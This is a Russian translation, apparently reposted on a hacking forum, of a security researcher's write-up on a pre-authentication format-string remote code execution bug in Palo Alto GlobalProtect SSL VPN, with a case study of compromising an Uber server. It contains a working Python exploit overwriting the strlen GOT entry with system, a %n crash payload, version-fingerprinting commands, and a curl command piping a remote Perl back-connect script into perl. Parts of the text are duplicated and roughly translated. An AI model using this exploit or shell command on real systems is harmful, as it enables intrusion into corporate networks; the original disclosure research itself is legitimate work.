SSL VPN защищает корпоративные активы от негативного воздействия Интернета, но что, если сам SSL VPN уязвим (Уязвимость защиты от уязвимостей
Мы планируем опубликовать наши результаты по 3 статьям. Мы ставим это в качестве первого, потому что мы думаем, что это интересная история и очень подходит в качестве закуски нашегоBlack Hat USA и DEFCON говорят:
- Внедрение корпоративной интрасети, как NSA - Предварительная авторизация RCE на ведущих SSL VPN.
История
В этой статье мы хотели бы поговорить об уязвимости в Palo Alto SSL VPN. Palo Alto называет свою линейку продуктов SSL VPN GlobalProtect. Вы можете легко идентифицировать службу GlobalPortect через перенаправление 302 /global-protect/login.esp на веб-корень
Что касается уязвимости, мы случайно обнаружили ее во время оценки служб Red Team . Сначала мы думали, что это уязвимость 0_day (Подробнее можно найти в этом разделе https://xss.pro/forums/122/). Мы начали подозревать, что уязвимость является мавло или вообще ранее неизвестной.
Мы искали по всему Интернету информацию о нами найденой уязвимости, но ничего не смогли найти. До этого [1] не было публичного эксплойта RCE, ни одна официальная рекомендация не содержит ничего подобного и не содержит CVE. Таким образом, мы считаем, что это должно быть уязвимость 1_day.
[1] Существуют некоторые эксплойты об интерфейсе управления Pan-OS, такие как CVE-2017-15944 и превосходная статья Troppers16 от @ _fel1x , но, к сожалению, они не говорят о GlobalProtect, а интерфейс открыт только для LAN порта.
Баг
Ошибка очень проста. Это ошибка форматной строки без аутентификации. sslmgr является SSL-шлюзом обработки SSL между сервером и клиентами.
Код:
$ curl https://global-protect/sslmgr
<?xml version="1.0" encoding="UTF-8" ?>
<clientcert-response>
<status>error</status>
<msg>Invalid parameters</msg>
</clientcert-response>
Во время извлечения параметра производится поиск строки scep-profile-name и передает ее значение в качестве snprintf формата для заполнения буфера. Это приводит к атаке форматной строки. Вы можете просто сломать сервис с %n!
Баг
Это простая ошибка форматной строки без аутентификации! sslmgr является SSL-шлюзом обработки SSL между сервером и клиентами.
Код:
$ curl https://global-protect/sslmgr
<?xml version="1.0" encoding="UTF-8" ?>
<clientcert-response>
<status>error</status>
<msg>Invalid parameters</msg>
</clientcert-response>
Во время извлечения параметра производится поиск строки scep-profile-name и передаётся ее значение в качестве snprintf формата для заполнения буфера. Это приводит к атаке форматной строки. Вы можете просто сломать сервис с %n!
Код:
POST /sslmgr HTTP/1.1
Host: global-protect
Content-Length: 36
scep-profile-name=%n%n%n%n%n...
Уязвимые версии
Согласно нашему опросу, все версии ранее 2018 июля GlobalProtect уязвимы!
- Palo Alto GlobalProtect SSL VPN 7.1.x <7.1.19
- Palo Alto GlobalProtect SSL VPN 8.0.x <8.0.12
- Palo Alto GlobalProtect SSL VPN 8.1.x <8.1.3
Серия 9.x и 7.0.x не подвержены этой уязвимости.
Эксплуатация
Как только мы сможем проверить ошибку, эксплуатация становится легкой. Чтобы успешно использовать бинарный файл, нам нужно сначала определить его детальную версию. Мы можем отличить заголовок Last-Modified, например, /global-protect/portal/css/login.css от версии 8.x и версии /images/logo_pan_158.gif от 7.x!
Код:
$ curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified
Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT
С указанной версией мы можем написать наш собственный эксплойт. Мы просто изменили указатель из strlen таблицы глобальных смещений (GOT) на таблицу связей процедур (PLT) в system.
Код:
#!/usr/bin/python
import requests
from pwn import *
url = "https://sslvpn/sslmgr"
cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt"
strlen_GOT = 0x667788 # change me
system_plt = 0x445566 # change me
fmt = '%70$n'
fmt += '%' + str((system_plt>>16)&0xff) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c'
fmt += '%24$hn'
for i in range(40,60):
fmt += '%'+str(i)+'$p'
data = "scep-profile-name="
data += p32(strlen_GOT)[:-1]
data += "&appauthcookie="
data += p32(strlen_GOT+2)[:-1]
data += "&host-id="
data += p32(strlen_GOT+4)[:-1]
data += "&user-email="
data += fmt
data += "&appauthcookie="
data += cmd
r = requests.post(url, data=data)
Как только модификация завершена, sslmgr веб-оболочка становится нашей, и мы можем выполнять команды с помощью:
Код:
$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr
Мы сообщили об этой ошибке в Пало-Альто через форму отчета . Однако мы получили следующий ответ:
Привет Апельсинка,
Спасибо за обращение. Palo Alto Networks действительно следует скоординированному раскрытию информации об уязвимостях, о которых нам сообщают внешние исследователи. Мы не делаем CVE предметы, найденные внутри и исправленные. Эта проблема была ранее исправлена, но если вы найдете что-то в текущей версии, пожалуйста, сообщите нам.
С уважением
Хммм, похоже, эта уязвимость известна Пало-Альто, но не готова к миру!
Тематическое исследование
Мы опросили все VPN-сервисы Palo Alto SSL в мире, чтобы выяснить, существуют ли какие-либо крупные корпорации, использующие уязвимый GlobalProtect, и Uber - одна из них! Согласно нашему опросу, Uber владеет около 22 серверами, на которых работает GlobalProtect по всему миру, здесь мы возьмем vpn.awscorp.uberinternal.com (Пример)
По доменному имени, мы предполагаем, что Uber использует BYOL от AWS Marketplace . На странице входа в систему кажется, что Uber использует версию 8.x, и мы можем указать возможную целевую версию из списка поддерживаемых версий на обзорной странице Marketplace:
- 8.0.3
- 8.0.6
- 8.0.8
- 8.0.9
- 8.1.0
Наконец, мы выяснили версию, это 8.0.6, и вернули оболочку!
Uber дал ответ очень быстро и сделал правильный шаг, чтобы исправить уязвимость, и Uber дал нам подробное объяснение решения о вознаграждении:
Эй, @orange - мы хотели предоставить немного больше информации о решении для этой награды. Во время нашего внутреннего расследования мы обнаружили, что SSL-VPN Palo Alto отличается от основного VPN, который используется большинством наших сотрудников.
Кроме того, мы разместили SSL-VPN Palo Alto в AWS, в отличие от нашей базовой инфраструктуры; как таковой, он не смог бы получить доступ к какой-либо нашей внутренней инфраструктуре или основным услугам. По этим причинам мы определили, что, хотя это был не прошедший проверку подлинности RCE, общее влияние и позиционное преимущество этого было низким. Еще раз спасибо за отличный отчет!
Это справедливое решение. Это всегда прекрасное время, чтобы общаться с Uber и сообщать об их программе баунти-багов . Нас не волнует щедрость, потому что мы получаем удовольствие от всего процесса исследования и обратной связи с сообществом безопасности! Ничто не может быть лучше, чем это!
Спасибо за прочтение данной статьи и пока
neopaket
Оригинальная статья: https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html